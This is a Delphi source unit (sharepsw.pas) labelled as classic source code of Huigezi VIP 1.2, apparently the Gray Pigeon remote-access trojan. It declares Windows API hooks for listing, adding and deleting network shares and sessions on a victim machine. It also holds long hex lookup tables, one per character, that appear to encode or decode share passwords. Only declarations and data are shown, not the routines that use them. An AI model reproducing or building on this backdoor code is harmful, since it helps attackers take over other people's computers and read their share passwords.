sharepsw.pas

灰鸽子VIP1.2经典源代码

unit sharePsw;

interface

uses Registry, classes, windows, sysutils, Forms;

type
  TShareInfo2 = packed record
    shi2_netname: PWChar;
    shi2_type: DWORD;
    shi2_remark: PWChar;
    shi2_permissions: DWORD;
    shi2_max_uses: DWORD;
    shi2_current_uses: DWORD;
    shi2_path: PWChar;
    shi2_passwd: PWChar;
  end;
  PShareInfo2 = ^TShareInfo2;
  TShareInfo2Array = array[0..512] of TShareInfo2;
  PShareInfo2Array = ^TShareInfo2Array;

type
  TShareInfo50 = packed record
    shi50_netname: array[0..12] of Char;
    shi50_type: Byte;
    shi50_flags: Word;
    shi50_remark: PChar;
    shi50_path: PChar;
    shi50_rw_password: array[0..8] of Char;
    shi50_ro_password: array[0..8] of Char;
  end;

var
  NetShareEnumNT: function(servername: PWChar;
    level: DWORD;
    bufptr: Pointer;
    prefmaxlen: DWORD;
    entriesread,
    totalentries,
    resume_handle: LPDWORD): DWORD; stdcall;

var
  NetShareEnum: function(pszServer: PChar;
    sLevel: Cardinal;
    pbBuffer: Pchar;
    cbBuffer: Cardinal;
    pcEntriesRead,
    pcTotalAvail: Pointer): DWORD; stdcall;

var
  NetShareDelNT: function(servername: PWideChar;
    netname: PWideChar;
    reserved: DWORD): LongInt; stdcall;

var
  NetShareDel: function(pszServer,
    pszNetName: PChar;
    usReserved: Word): DWORD; stdcall;

var
  NetShareAddNT: function(servername: PWideChar;
    level: DWORD;
    buf: Pointer;
    parm_err: LPDWORD): DWORD; stdcall;

var
  NetShareAdd: function(pszServer: Pchar;
    sLevel: Cardinal;
    pbBuffer: PChar;
    cbBuffer: Word): DWORD; stdcall;

var
  NetSessionEnumNT: function(servername,
    UncClientName,
    username: PWChar;
    level: DWORD;
    bufptr: Pointer;
    prefmaxlen: DWORD;
    entriesread,
    totalentries,
    resume_handle: LPDWORD): DWORD; stdcall;

var
  NetSessionEnum: function(pszServer: PChar;
    sLevel: DWORD;
    pbBuffer: Pointer;
    cbBuffer: DWORD;
    pcEntriesRead,
    pcTotalAvial: Pointer): integer; stdcall;

var
  NetSessionDelNT: function(ServerName,
    UncClientName,
    username: PWChar): DWORD; stdcall;

var
  NetSessionDel: function(pszServer: PChar;
    pszClientName: PChar;
    sReserved: SmallInt): DWORD; stdcall;

type
  TTabelle = array[0..11] of string;
const

  Tabelle_A: TTabelle = ('3039', '4146', '3337', '3543', '3236', '3238', '4530', '3541', '3342', '4344', '3036', '4239');
  Tabelle_B: TTabelle = ('3041', '4143', '3334', '3546', '3235', '3242', '4533', '3539', '3338', '4345', '3035', '4241');
  Tabelle_C: TTabelle = ('3042', '4144', '3335', '3545', '3234', '3241', '4532', '3538', '3339', '4346', '3034', '4242');
  Tabelle_D: TTabelle = ('3043', '4141', '3332', '3539', '3233', '3244', '4535', '3546', '3345', '4338', '3033', '4243');
  Tabelle_E: TTabelle = ('3044', '4142', '3333', '3538', '3232', '3243', '4534', '3545', '3346', '4339', '3032', '4244');
  Tabelle_F: TTabelle = ('3045', '4138', '3330', '3542', '3231', '3246', '4537', '3544', '3343', '4341', '3031', '4245');
  Tabelle_G: TTabelle = ('3046', '4139', '3331', '3541', '3230', '3245', '4536', '3543', '3344', '4342', '3030', '4246');
  Tabelle_H: TTabelle = ('3030', '4136', '3345', '3535', '3246', '3231', '4539', '3533', '3332', '4334', '3046', '4230');
  Tabelle_I: TTabelle = ('3031', '4137', '3346', '3534', '3245', '3230', '4538', '3532', '3333', '4335', '3045', '4231');
  Tabelle_J: TTabelle = ('3032', '4134', '3343', '3537', '3244', '3233', '4542', '3531', '3330', '4336', '3044', '4232');
  Tabelle_K: TTabelle = ('3033', '4135', '3344', '3536', '3243', '3232', '4541', '3530', '3331', '4337', '3043', '4233');
  Tabelle_L: TTabelle = ('3034', '4132', '3341', '3531', '3242', '3235', '4544', '3537', '3336', '4330', '3042', '4234');
  Tabelle_M: TTabelle = ('3035', '4133', '3342', '3530', '3241', '3234', '4543', '3536', '3337', '4331', '3041', '4235');
  Tabelle_N: TTabelle = ('3036', '4130', '3338', '3533', '3239', '3237', '4546', '3535', '3334', '4332', '3039', '4236');
  Tabelle_O: TTabelle = ('3037', '4131', '3339', '3532', '3238', '3236', '4545', '3534', '3335', '4333', '3038', '4237');
  Tabelle_P: TTabelle = ('3138', '4245', '3236', '3444', '3337', '3339', '4631', '3442', '3241', '4443', '3137', '4138');
  Tabelle_Q: TTabelle = ('3139', '4246', '3237', '3443', '3336', '3338', '4630', '3441', '3242', '4444', '3136', '4139');
  Tabelle_R: TTabelle = ('3141', '4243', '3234', '3446', '3335', '3342', '4633', '3439', '3238', '4445', '3135', '4141');
  Tabelle_S: TTabelle = ('3142', '4244', '3235', '3445', '3334', '3341', '4632', '3438', '3239', '4446', '3134', '4142');
  Tabelle_T: TTabelle = ('3143', '4241', '3232', '3439', '3333', '3344', '4635', '3446', '3245', '4438', '3133', '4143');
  Tabelle_U: TTabelle = ('3144', '4242', '3233', '3438', '3332', '3343', '4634', '3445', '3246', '4439', '3132', '4144');
  Tabelle_V: TTabelle = ('3145', '4238', '3230', '3442', '3331', '3346', '4637', '3444', '3243', '4441', '3131', '4145');
  Tabelle_W: TTabelle = ('3146', '4239', '3231', '3441', '3330', '3345', '4636', '3443', '3244', '4442', '3130', '4146');
  Tabelle_X: TTabelle = ('3130', '4236', '3245', '3435', '3346', '3331', '4639', '3433', '3232', '4434', '3146', '4130');
  Tabelle_Y: TTabelle = ('3131', '4237', '3246', '3434', '3345', '3330', '4638', '3432', '3233', '4435', '3145', '4131');
  Tabelle_Z: TTabelle = ('3132', '4234', '3243', '3437', '3344', '3333', '4642', '3431', '3230', '4436', '3144', '4132');
  Tabelle_S1: TTabelle = ('3038', '4145', '3336', '3544', '3237', '3239', '4531', '3542', '3341', '4343', '3037', '4238'); //@
  Tabelle_S2: TTabelle = ('3133', '4235', '3244', '3436', '3343', '3332', '4641', '3430', '3231', '4437', '3143', '4133'); //[
  Tabelle_S3: TTabelle = ('3134', '4232', '3241', '3431', '3342', '3335', '4644', '3437', '3236', '4430', '3142', '4134'); //\
  Tabelle_S4: TTabelle = ('3135', '4233', '3242', '3430', '3341', '3334', '4643', '3436', '3237', '4431', '3141', '4135'); //]
  Tabelle_S5: TTabelle = ('3136', '4230', '3238', '3433', '3339', '3337', '4646', '3435', '3234', '4432', '3139', '4136'); //^
  Tabelle_S6: TTabelle = ('3137', '4231', '3239', '3432', '3338', '3336', '4645', '3434', '3235', '4433', '3138', '4137'); //_
  Tabelle_S7: TTabelle = ('3238', '3845', '3136', '3744', '3037', '3039', '4331', '3742', '3141', '4543', '3237', '3938'); //`
  Tabelle_S8: TTabelle = ('3333', '3935', '3044', '3636', '3143', '3132', '4441', '3630', '3031', '4637', '3343', '3833'); //{
  Tabelle_S9: TTabelle = ('3334', '3932', '3041', '3631', '3142', '3135', '4444', '3637', '3036', '4630', '3342', '3834'); //|
  Tabelle_S10: TTabelle = ('3335', '3933', '3042', '3630', '3141', '3134', '4443', '3636', '3037', '4631', '3341', '3835'); //}
  Tabelle_S11: TTabelle = ('3336', '3930', '3038', '3633', '3139', '3137', '4446', '3635', '3034', '4632', '3339', '3836'); //~
  Tabelle_S12: TTabelle = ('3638', '4345', '3536', '3344', '3437', '3439', '3831', '3342', '3541', '4143', '3637', '4438'); //Space
  Tabelle_S13: TTabelle = ('3639', '4346', '3537', '3343', '3436', '3438', '3830', '3341', '3542', '4144', '3636', '4439'); //!
  Tabelle_S14: TTabelle = ('3641', '4343', '3534', '3346', '3435', '3442', '3833', '3339', '3538', '4145', '3635', '4441'); //"
  Tabelle_S15: TTabelle = ('3642', '4344', '3535', '3345', '3434', '3441', '3832', '3338', '3539', '4146', '3634', '4442'); //#
  Tabelle_S16: TTabelle = ('3643', '4341', '3532', '3339', '3433', '3444', '3835', '3346', '3545', '4138', '3633', '4443'); //$
  Tabelle_S17: TTabelle = ('3644', '4342', '3533', '3338', '3432', '3443', '3834', '3345', '3546', '4139', '3632', '4444'); //%
  Tabelle_S18: TTabelle = ('3645', '4338', '3530', '3342', '3431', '3446', '3837', '3344', '3543', '4141', '3631', '4445'); //&
  Tabelle_S19: TTabelle = ('3646', '4339', '3531', '3341', '3430', '3445', '3836', '3343', '3544', '4142', '3630', '4446'); //'
  Tabelle_S20: TTabelle = ('3630', '4336', '3545', '3335', '3446', '3431', '3839', '3333', '3532', '4134', '3646', '4430'); //(
  Tabelle_S21: TTabelle = ('3631', '4337', '3546', '3334', '3445', '3430', '3838', '3332', '3533', '4135', '3645', '4431'); //)
  Tabelle_S22: TTabelle = ('3632', '4334', '3543', '3337', '3444', '3433', '3842', '3331', '3530', '4136', '3644', '4432'); //*
  Tabelle_S23: TTabelle = ('3633', '4335', '3544', '3336', '3443', '3432', '3841', '3330', '3531', '4137', '3643', '4433'); //+
  Tabelle_S24: TTabelle = ('3634', '4332', '3541', '3331', '3442', '3435', '3844', '3337', '3536', '4130', '3642', '4434'); //,
  Tabelle_S25: TTabelle = ('3635', '4333', '3542', '3330', '3441', '3434', '3843', '3336', '3537', '4131', '3641', '4435'); //-
  Tabelle_S26: TTabelle = ('3636', '4330', '3538', '3333', '3439', '3437', '3846', '3335', '3534', '4132', '3639', '4436'); //.
  Tabelle_S27: TTabelle = ('3637', '4331', '3539', '3332', '3438', '3436', '3845', '3334', '3535', '4133', '3638', '4437'); ///
  Tabelle_S28: TTabelle = ('3732', '4434', '3443', '3237', '3544', '3533', '3942', '3231', '3430', '4236', '3744', '4332'); //:
  Tabelle_S29: TTabelle = ('3733', '4435', '3444', '3236', '3543', '3532', '3941', '3230', '3431', '4237', '3743', '4333'); //;
  Tabelle_S30: TTabelle = ('3734', '4432', '3441', '3231', '3542', '3535', '3944', '3237', '3436', '4230', '3742', '4334'); //<
  Tabelle_S31: TTabelle = ('3735', '4433', '3442', '3230', '3541', '3534', '3943', '3236', '3437', '4231', '3741', '4335'); //=
  Tabelle_S32: TTabelle = ('3736', '4430', '3438', '3233', '3539', '3537', '3946', '3235', '3434', '4232', '3739', '4336'); //>
  Tabelle_S33: TTabelle = ('3738', '4445', '3436', '3244', '3537', '3539', '3931', '3242', '3441', '4243', '3737', '4338'); //0
  Tabelle_S34: TTabelle = ('3739', '4446', '3437', '3243', '3536', '3538', '3930', '3241', '3442', '4244', '3736', '4339'); //1
  Tabelle_S35: TTabelle = ('3741', '4443', '3434', '3246', '3535', '3542', '3933', '3239', '3438', '4245', '3735', '4341'); //2
  Tabelle_S36: TTabelle = ('3742', '4444', '3435', '3245', '3534', '3541', '3937', '3738', '3439', '4246', '3734', '4342'); //3
  Tabelle_S37: TTabelle = ('3743', '4441', '3432', '3239', '3533', '3544', '3935', '3246', '3445', '4238', '3733', '4343'); //4
  Tabelle_S38: TTabelle = ('3744', '4442', '3433', '3238', '3532', '3543', '3934', '3245', '3446', '4239', '3732', '4344'); //5
  Tabelle_S39: TTabelle = ('3745', '4438', '3430', '3242', '3531', '3546', '3937', '3244', '3443', '4241', '3731', '4345'); //6
  Tabelle_S40: TTabelle = ('3746', '4439', '3431', '3241', '3530', '3545', '3936', '3243', '3444', '4242', '3730', '4346'); //7
  Tabelle_S41: TTabelle = ('3730', '4436', '3445', '3235', '3546', '3531', '3939', '3233', '3432', '4234', '3746', '4330'); //8
  Tabelle_S42: TTabelle = ('3731', '4437', '3446', '3234', '3545', '3530', '3938', '3232', '3433', '4235', '3745', '4331'); //9
  Tabelle_S43: TTabelle = ('3839', '3246', '4237', '4443', '4136', '4138', '3630', '4441', '4242', '3444', '3836', '3339'); //